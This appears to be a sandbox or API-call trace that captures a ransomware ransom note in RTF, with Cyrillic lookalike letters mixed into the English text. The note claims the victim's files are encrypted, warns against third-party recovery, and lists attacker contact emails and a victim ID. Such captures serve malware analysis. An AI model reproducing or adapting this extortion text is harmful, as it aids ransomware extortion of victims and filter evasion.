w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r 